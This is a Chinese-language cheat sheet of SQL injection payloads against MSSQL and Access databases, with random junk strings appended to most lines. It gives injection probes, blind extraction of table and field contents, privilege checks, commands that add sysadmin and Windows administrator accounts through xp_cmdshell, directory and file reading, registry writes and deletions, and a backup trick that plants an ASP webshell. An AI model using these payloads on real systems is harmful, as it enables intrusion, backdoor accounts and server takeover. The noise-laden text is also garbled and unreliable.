1.判断是否有注入;and 1=1 ;and 1=2 ,9of(T(~
2.初步判断是否是mssql ;and user>0 =Z,5$6%)
:%X Ls,
3.注入参数是字符'and [查询条件] and ''=' 8=;k"
XOy2lJ/
4.搜索时没过滤参数的'and [查询条件] and '%25'=' TDNf)Mm
3[IJhR[
5.判断数据库系统
bwiD$
1;lmu]I>)
;and (select count(*) from sysobjects)>0 mssql kV&9`c+
#sB,1"
;and (select count(*) from msysobjects)>0 access UiQEJXwnz
jz'<
L":bI&V?:
1||+6bRP
6.猜数据库 ;and (select Count(*) from [数据库名])>0 2/7_;_#vJ%
|/`%3'4H
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 T!2=*~A
a|_p,_
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 oxz{ ejd{
m:+8J,jW
9.(1)猜字段的ascii值(access) ,Zf
9RM
=!b6FjsiG
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 G64Fx*`
aM=D84@
(2)猜字段的ascii值(mssql) y$W|~ H
>mq,}!n
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 r[txlQI9
{~Tg7<\L
10.测试权限结构(mssql) $_;e>*+x
,h]o>
e Y$qV}
oG oK,
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ,'fxIO
G"SBYU
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- {QAv~S>4
iw9Q18:I}
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ^jE8+h
<|B1wa:|
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4Xj4|Rw%
kOL'|GgK
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- e [h8}F
B%s7bS
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- v`PY>c6~
0&+k.Vg
;and 1=(select IS_MEMBER('db_owner'));-- 5z}w}zdg
R`8@@}
fwR_OB:$
b*kfWG-6t
11.添加mssql和系统的帐户 A^ \.Z4=d"
NpP')m!`}
;exec master.dbo.sp_addlogin username;-- YIRZ+H<Q
;exec master.dbo.sp_password null,username,password;-- ~&dyRtW4
(2ot5x}`j
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- tRb]7 z
=T?}Nt
;exec master.dbo.xp_cmdshell 'net user username password #6v27:XK
N"tFP9;K
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 2F{hg%
y&~w2{a
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;*TIM%6#
n.MRz WJpZ
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- >et-{(G
CqMhk
82{ Vc
C$h<Wt=<
12.(1)遍历目录 C*=Xk/0
B Xms;[
;create table dirs(paths varchar(100), id int) \W5O&G-C
{PP9$>4`l
;insert dirs exec master.dbo.xp_dirtree 'c:\' .T<=z
>eQr<-8
;and (select top 1 paths from dirs)>0 GYxM0~:$k
h0--B]f@
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) jd]s<C3o
-&x2&WE'
6k{2 +P
Xaz o9J
(2)遍历目录 Y`7~Am/r;&
:o-,SrORM
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- *K!|@h{60
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 +CH},@j
:bV mgLgG
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ,u }XWV
k(>h^
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 fqX"Lus `=
/tV/85r
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5Wyz=+?m|
]xC#rwHUC
jUv!9Y}F
`g8E1-]l
13.mssql中的存储过程 +d+@u)6
OaJB=J%
xp_regenumvalues 注册表根键, 子键 0nn okN^
x";w%
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ;k"Bse!/
M` q?Fk
xp_regread 根键,子键,键值名 />¬$>
XBd>tdEP
;exec xp_regread 3czeTj
yKYUsp
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 T2}FYVj?!g
?88[|;b3
xp_regwrite 根键,子键, 值名, 值类型, 值 rg0ma
)1N 54FNO
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ul%h@=n
QK0h6CX
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 D3|oOOoG
TG}*5Z`
xp_regdeletevalue 根键,子键,值名 0TfS=scT
IG(?xf\C
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 xe7O/',pa=
mNmLyU=d
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 :[ k4Z]t8
$0bjKy
REZJ}%}/
hN['7:bQ
14.mssql的backup创建webshell ~m|Mg9-
pF
^#}L
use model O+%WR
W@yJAQ
create table cmd(str image); c/B'jPt
nz9DLAt
insert into cmd(str) values (''); 763+uFx^
&/Ro lIHF
backup database model to disk='c:\l.asp'; 2X:4CC%5
t){"Tfc:
-(O-%
_qbIh
15.mssql内置函数 {Fzs@,|W.
f;}EhG'
;and (select @@version)>0 获得Windows的版本号 !"e5~7
\~LQ%OM
;and user_name()='dbo' 判断当前系统的连接用户是不是sa dt~YW
ZeG_en ;
;and (select user_name())>0 爆当前系统的连接用户 ]skkoM
?"z]A7<Hj
;and (select db_name())>0 得到当前连接的数据库 mxb06u_
n}s~+USZX
3Tn)Z1o
5 H#W[^s"
16.简洁的webshell \rVQQ|l
7'
S @3
use model =)hVn
p7:{^
create table cmd(str image); AfG/JWSo}
jy]JiQB
insert into cmd(str) values (''); iCHt1VV]
Bi@&nAhn@
backup database model to disk='g:\wwwtest\l.asp';